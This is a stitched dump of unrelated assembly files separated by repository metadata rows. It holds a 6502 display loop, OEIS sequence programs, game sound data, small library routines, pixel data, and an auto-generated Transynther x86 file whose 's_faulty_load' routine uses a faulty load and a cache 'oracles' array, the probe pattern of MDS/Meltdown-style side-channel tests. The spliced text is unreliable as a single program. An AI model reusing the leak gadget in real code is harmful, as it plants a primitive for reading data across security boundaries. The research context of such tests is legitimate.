pha ;;Store y on the stack
tax
dey
lda ($4),y
iny
iny
clc
adc ($4),y
sta $c
txa
sec
sbc $d
tay
lda $c
clc
adc ($4),y
sta $c
txa
sec
sbc $e
tay
lda $c
clc
adc ($4),y
sta $c
txa
clc
adc $d
tay
lda $c
clc
adc ($4),y
sta $c
txa
clc
adc $e
tay
lda $c
clc
adc ($4),y
sta $c
pla
tay ;;Pull Y off of the stack
lda $c
and #1
beq dontset
sta ($6),y
dontset:
pla
tax ;;Pull x off of the stack
beq exit_inner_display
jmp inner_display
exit_inner_display:
inc $9
inc $9
tya
beq display_exit
jmp display
display_exit:
;;Copy Temporary Buffer
;;------------------------------------------------------------
ldy #248
copybuf:
dey
lda ($6),y
sta ($4),y
tya
bne copybuf
dec $f
lda $f
beq reset_main
jmp mainloop
;;Reset main counter
;;------------------------------------------------------------
reset_main:
lda #7
sta $f
lda #$ff ;;Delay Count
sta $11
delay:
ldy #$a0
inner_delay:
nop
dey
bne inner_delay
dec $11
lda $11
bne delay
;; init buffer
;; and clear screen
clrscr:
lda $fe
and $f
cmp #1
beq clrscr ;We don't want a white background
ldy #$00
ldx #$0
cs_loop:
sta $200,x
sta $300,x
sta $400,x
sta $500,x
pha
lda #0
sta ($6),y
sta ($4),y
pla
inx
dey
bne cs_loop
;; Setup new pattern
;;------------------------------------------------------------
inc $10
lda $10
and #3
sta $10
cmp #0
beq pattern1
cmp #1
beq pattern2
cmp #2
beq pattern3
cmp #3
beq pattern4
pattern1:
ldy #114
lda #1
sta ($4),y
ldy #115
lda #1
sta ($4),y
ldy #116
lda #1
sta ($4),y
jmp mainloop
pattern2:
ldy #113
lda #1
sta ($4),y
ldy #118
lda #1
sta ($4),y
jmp mainloop
pattern3:
ldy #115
lda #1
sta ($4),y
jmp mainloop
pattern4:
ldy #102
lda #1
sta ($4),y
ldy #128
lda #1
sta ($4),y
jmp mainloop
;;Paint subroutine
;;------------------------------------------------------------
paint:
pha
lda yl,y
sta $2
lda yh,y
sta $3
txa
tay
pla
sta ($2),y
rts
;; Y cord MSB
yh:
dcb $02, $02, $02, $02, $02, $02, $02, $02
dcb $03, $03, $03, $03, $03, $03, $03, $03
dcb $04, $04, $04, $04, $04, $04, $04, $04
dcb $05, $05, $05, $05, $05, $05, $05, $05
;; Y cord LSB
yl:
dcb $00, $20, $40, $60, $80, $a0, $c0, $e0
dcb $00, $20, $40, $60, $80, $a0, $c0, $e0
dcb $00, $20, $40, $60, $80, $a0, $c0, $e0
dcb $00, $20, $40, $60, $80, $a0, $c0, $e0
| 11.034268 | 62 | 0.52908 |
cff111952219dd060160471d7263671a93f8bd5f | 457 | asm | Assembly | oeis/284/A284963.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/284/A284963.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/284/A284963.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A284963: Numbers with digits 3 and 8 only.
; Submitted by Jon Maiga
; 3,8,33,38,83,88,333,338,383,388,833,838,883,888,3333,3338,3383,3388,3833,3838,3883,3888,8333,8338,8383,8388,8833,8838,8883,8888,33333,33338,33383,33388,33833,33838,33883,33888,38333,38338,38383,38388,38833,38838
add $0,1
mov $2,1
lpb $0
mov $3,$0
mul $0,2
sub $0,1
div $0,4
mod $3,2
mul $3,5
add $3,1
mul $3,$2
add $1,$3
mul $2,10
lpe
sub $2,$1
mov $0,$2
sub $0,1
| 20.772727 | 213 | 0.66302 |
5028554e2e67747b53ee185866b3aa9741a0a7c2 | 5,288 | asm | Assembly | Transynther/x86/_processed/US/_zr_un_/i3-7100_9_0x84_notsx.log_21829_1593.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_un_/i3-7100_9_0x84_notsx.log_21829_1593.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_un_/i3-7100_9_0x84_notsx.log_21829_1593.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rbp
push %rbx
push %rdx
lea addresses_normal_ht+0xd07b, %rbp
nop
nop
nop
nop
xor $34460, %rdx
mov $0x6162636465666768, %r12
movq %r12, %xmm2
vmovups %ymm2, (%rbp)
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_WT_ht+0x16a7b, %rbx
clflush (%rbx)
inc %r13
mov $0x6162636465666768, %r11
movq %r11, %xmm3
movups %xmm3, (%rbx)
nop
inc %rbp
lea addresses_WC_ht+0x1617b, %r13
clflush (%r13)
nop
nop
nop
nop
cmp %r11, %r11
movb $0x61, (%r13)
nop
nop
nop
sub $3793, %rbp
lea addresses_UC_ht+0x96db, %r13
nop
nop
sub %r12, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r13)
nop
nop
nop
nop
nop
dec %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r9
push %rax
push %rbx
push %rcx
push %rdi
// Load
lea addresses_UC+0x1055b, %rcx
clflush (%rcx)
nop
add %rax, %rax
mov (%rcx), %r9d
nop
nop
nop
nop
nop
xor $25877, %rax
// Faulty Load
lea addresses_US+0xdc7b, %r15
clflush (%r15)
nop
cmp %rdi, %rdi
vmovups (%r15), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
lea oracles, %r9
and $0xff, %rax
shlq $12, %rax
mov (%r9,%rax,1), %rax
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'1a': 38, '5f': 167, '02': 11, '00': 21608, 'ff': 1, '50': 4}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 00 00 00 00 00 00 00 00 00 00
*/
| 42.99187 | 2,999 | 0.658283 |
00e9c255d887055e59465f9d349c60a60ebeb6ff | 110 | asm | Assembly | audio/sfx/faint_fall.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | audio/sfx/faint_fall.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | audio/sfx/faint_fall.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | SFX_Faint_Fall_Ch4:
duty 1
pitchenvelope 10, -7
squarenote 15, 15, 2, 1920
pitchenvelope 0, 0
endchannel
| 15.714286 | 27 | 0.754545 |
425f54b3691bcc2d3753bcde58e21ab0c0f5db52 | 394 | asm | Assembly | oeis/163/A163147.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/163/A163147.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/163/A163147.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A163147: a(n) = 14*a(n-1) - 44*a(n-2) for n > 1; a(0) = 1, a(1) = 12.
; Submitted by Jon Maiga
; 1,12,124,1208,11456,107232,997184,9242368,85517056,790574592,7305293824,67488831488,623410712576,5758241390592,53185308114944,491231692423168,4537090136866816,41905067449516032,387038978271084544
mov $2,1
lpb $0
sub $0,1
add $2,$3
mul $3,4
sub $3,$2
mul $2,11
lpe
sub $2,$3
mov $0,$2
| 26.266667 | 197 | 0.69797 |
06ef5fa1c1af93b03002960edf5236a086f16fcc | 944 | asm | Assembly | programs/oeis/170/A170690.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/170/A170690.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/170/A170690.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A170690: Number of reduced words of length n in Coxeter group on 9 generators S_i with relations (S_i)^2 = (S_i S_j)^50 = I.
; 1,9,72,576,4608,36864,294912,2359296,18874368,150994944,1207959552,9663676416,77309411328,618475290624,4947802324992,39582418599936,316659348799488,2533274790395904,20266198323167232,162129586585337856,1297036692682702848,10376293541461622784,83010348331692982272,664082786653543858176,5312662293228350865408,42501298345826806923264,340010386766614455386112,2720083094132915643088896,21760664753063325144711168,174085318024506601157689344,1392682544196052809261514752,11141460353568422474092118016,89131682828547379792736944128,713053462628379038341895553024,5704427701027032306735164424192,45635421608216258453881315393536,365083372865730067631050523148288,2920666982925840541048404185186304,23365335863406724328387233481490432,186922686907253794627097867851923456
seq $0,3951 ; Expansion of g.f.: (1+x)/(1-8*x).
| 188.8 | 767 | 0.894068 |
bcdbcd80b7b636ad0198682aee871d8bd91d6fe2 | 483 | asm | Assembly | data/events/hidden_coins.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/events/hidden_coins.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/events/hidden_coins.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | hidden_coin: MACRO
db \1, \3, \2
ENDM
HiddenCoinCoords:
; map id, x, y
hidden_coin GAME_CORNER, 0, 8
hidden_coin GAME_CORNER, 1, 16
hidden_coin GAME_CORNER, 3, 11
hidden_coin GAME_CORNER, 3, 14
hidden_coin GAME_CORNER, 4, 12
hidden_coin GAME_CORNER, 9, 12
hidden_coin GAME_CORNER, 9, 15
hidden_coin GAME_CORNER, 16, 14
hidden_coin GAME_CORNER, 10, 16
hidden_coin GAME_CORNER, 11, 7
hidden_coin GAME_CORNER, 15, 8
hidden_coin GAME_CORNER, 12, 15
db -1 ; end
| 24.15 | 32 | 0.73706 |
2745344dc9e37085db110d535b5be95e777e546d | 528 | asm | Assembly | libsrc/graphics/xorclrarea.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 38 | 2021-06-18T12:56:15.000Z | 2022-03-12T20:38:40.000Z | libsrc/graphics/xorclrarea.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 2 | 2021-06-20T16:28:12.000Z | 2021-11-17T21:33:56.000Z | libsrc/graphics/xorclrarea.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 6 | 2021-06-18T18:18:36.000Z | 2021-12-22T08:01:32.000Z |
SECTION code_graphics
PUBLIC xorclrarea
EXTERN xorpixel
;
; $Id: xorclrarea.asm $
;
; ***********************************************************************
;
; Clear specified graphics area in map.
; Generic version
;
; Stefano Bodrato - March 2002
;
;
; IN: HL = (x,y)
; BC = (width,heigth)
;
.xorclrarea
push hl
push bc
.rowloop
push hl
push de
push bc
call xorpixel
pop bc
pop de
pop hl
inc h
djnz rowloop
pop bc
pop hl
inc l
dec c
jr nz,xorclrarea
ret
| 12 | 73 | 0.522727 |
d16e698660266468d72fcf33b9fd527cf24adff3 | 646 | asm | Assembly | oeis/062/A062159.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/062/A062159.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/062/A062159.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A062159: a(n) = n^5 - n^4 + n^3 - n^2 + n - 1.
; -1,0,21,182,819,2604,6665,14706,29127,53144,90909,147630,229691,344772,501969,711914,986895,1340976,1790117,2352294,3047619,3898460,4929561,6168162,7644119,9390024,11441325,13836446,16616907,19827444,23516129,27734490,32537631,37984352,44137269,51062934,58831955,67519116,77203497,87968594,99902439,113097720,127651901,143667342,161251419,180516644,201580785,224566986,249603887,276825744,306372549,338390150,373030371,410451132,450816569,494297154,541069815,591318056,645232077,703008894,764852459
mov $1,2
mov $2,$0
add $2,1
mov $3,2
add $3,$0
sub $1,$3
pow $1,6
sub $1,1
div $1,$2
mov $0,$1
| 46.142857 | 500 | 0.783282 |
3cca46cc0267ed1db595151cbf3293346476a530 | 391 | asm | Assembly | kernel/io.asm | Derpius/DerpiOS | a8f2a949116d5f6103d3c2401e6fb2b86d74d374 | [
"MIT"
] | null | null | null | kernel/io.asm | Derpius/DerpiOS | a8f2a949116d5f6103d3c2401e6fb2b86d74d374 | [
"MIT"
] | 1 | 2021-06-19T23:21:36.000Z | 2021-06-20T07:00:56.000Z | kernel/io.asm | Derpius/DerpiOS | a8f2a949116d5f6103d3c2401e6fb2b86d74d374 | [
"MIT"
] | null | null | null | [bits 32]
global inb
inb:
mov dx, [esp + 4]
in al, dx
ret
global outb
outb:
mov al, [esp + 8]
mov dx, [esp + 4]
out dx, al
ret
global inw
inw:
mov dx, [esp + 4]
in ax, dx
ret
global outw
outw:
mov ax, [esp + 8]
mov dx, [esp + 4]
out dx, ax
ret
; https://wiki.osdev.org/Inline_Assembly/Examples#I.2FO_access
global io_wait
io_wait:
mov al, 0
mov dx, 0x80
out dx, al
ret | 11.171429 | 62 | 0.629156 |
3793c347b7da420b636a6aface16ab31ea56e785 | 39,029 | asm | Assembly | src/splash/splash_pixel_data.asm | 1888games/golf | 5078fc0699e5f91a53761cc30526b510d49e955c | [
"BSD-2-Clause"
] | 1 | 2022-02-13T16:09:18.000Z | 2022-02-13T16:09:18.000Z | src/splash/splash_pixel_data.asm | 1888games/golf | 5078fc0699e5f91a53761cc30526b510d49e955c | [
"BSD-2-Clause"
] | null | null | null | src/splash/splash_pixel_data.asm | 1888games/golf | 5078fc0699e5f91a53761cc30526b510d49e955c | [
"BSD-2-Clause"
] | null | null | null | ; Top-hole Golf
; Copyright 2020-2021 Matthew Clarke
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,250,251,251,251,255,255
!byte 255,234,186,234,250,254,254,234
!byte 191,255,190,187,250,250,235,170
!byte 255,250,253,234,235,235,235,171
!byte 255,255,255,191,191,175,174,170
!byte 170,187,171,255,255,250,175,255
!byte 255,254,250,239,255,253,253,246
!byte 219,166,239,159,191,127,239,255
!byte 90,170,185,253,255,255,255,187
!byte 255,191,191,191,255,255,255,247
!byte 171,254,253,253,255,251,251,235
!byte 191,255,255,254,191,190,254,235
!byte 191,255,255,255,191,239,255,255
!byte 231,189,90,122,254,126,126,191
!byte 175,255,255,255,255,191,190,190
!byte 255,255,251,251,251,218,251,250
!byte 255,255,255,255,255,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,254,249,249,234,234,170
!byte 255,255,87,229,250,191,191,175
!byte 255,255,255,255,191,175,170,234
!byte 255,255,255,255,255,255,175,170
!byte 182,189,253,255,191,175,190,250
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,254,254
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,239,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 235,239,255,255,255,255,255,255
!byte 251,251,251,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,250,250,250,251,253,253,253
!byte 249,235,235,175,159,191,127,255
!byte 251,250,250,255,255,255,255,255
!byte 102,102,239,255,255,255,255,255
!byte 251,251,251,251,251,251,251,123
!byte 239,235,234,254,254,254,255,255
!byte 255,255,251,231,233,233,233,233
!byte 101,187,187,251,254,250,251,239
!byte 127,127,255,254,254,254,255,255
!byte 239,125,123,107,235,239,239,127
!byte 191,191,191,191,187,111,111,111
!byte 191,191,191,191,175,239,239,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,127,191,191,175,170,170
!byte 175,175,175,175,191,255,255,255
!byte 159,175,175,175,159,191,189,190
!byte 154,191,127,255,255,255,255,255
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,254,254,254,250,250,251,251
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 239,239,239,239,175,159,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,254
!byte 249,249,251,231,239,159,191,127
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 123,123,123,123,123,123,123,123
!byte 255,255,255,255,255,255,255,255
!byte 122,250,251,251,239,255,255,255
!byte 94,122,254,239,239,175,255,255
!byte 171,171,171,251,235,239,239,239
!byte 169,170,186,122,254,255,255,255
!byte 159,159,159,159,167,167,167,167
!byte 255,255,255,255,255,255,255,159
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,253,254,246
!byte 235,103,175,175,175,175,159,191
!byte 254,246,219,235,175,175,175,175
!byte 106,218,219,251,251,251,251,251
!byte 182,253,237,239,175,175,175,175
!byte 255,255,255,255,254,249,231,255
!byte 251,250,249,251,187,251,251,219
!byte 218,246,182,190,190,190,190,254
!byte 254,246,219,235,175,175,175,175
!byte 127,159,159,175,175,175,174,174
!byte 191,191,191,191,191,191,191,255
!byte 253,247,223,239,175,174,170,175
!byte 127,159,159,175,175,191,255,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,254,249,251,231,231,239,159
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 123,123,123,123,123,107,111,111
!byte 255,255,255,254,254,254,254,250
!byte 255,255,255,255,254,254,254,254
!byte 175,183,191,181,181,167,165,189
!byte 182,182,250,235,251,251,251,251
!byte 189,190,190,254,190,254,254,253
!byte 126,94,254,254,254,254,254,254
!byte 122,122,118,118,246,246,246,246
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,253,170,255,255,255,255
!byte 250,218,170,170,255,255,255,255
!byte 191,191,175,170,255,255,255,255
!byte 175,175,174,234,255,255,255,255
!byte 158,190,126,250,250,250,251,251
!byte 233,235,231,159,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 235,239,239,239,255,255,255,255
!byte 175,175,175,175,255,255,255,255
!byte 175,175,174,234,255,255,255,255
!byte 109,126,190,255,255,255,255,255
!byte 251,247,167,175,255,255,255,255
!byte 175,174,105,235,255,255,255,255
!byte 111,191,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,254,254,254,249,251,231,239
!byte 127,191,191,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 107,111,111,107,123,123,123,123
!byte 250,250,249,249,250,250,254,254
!byte 254,254,254,254,254,254,254,254
!byte 191,191,191,191,191,191,191,191
!byte 250,234,255,251,251,251,251,250
!byte 253,253,254,254,254,254,254,254
!byte 126,126,126,126,126,126,126,126
!byte 249,249,249,249,249,217,233,233
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,253,250,231,219,159,111
!byte 250,170,127,255,253,254,254,255
!byte 246,254,189,255,255,255,255,255
!byte 255,255,255,255,191,191,127,127
!byte 251,251,251,251,251,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,253,250
!byte 255,255,255,255,255,255,255,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
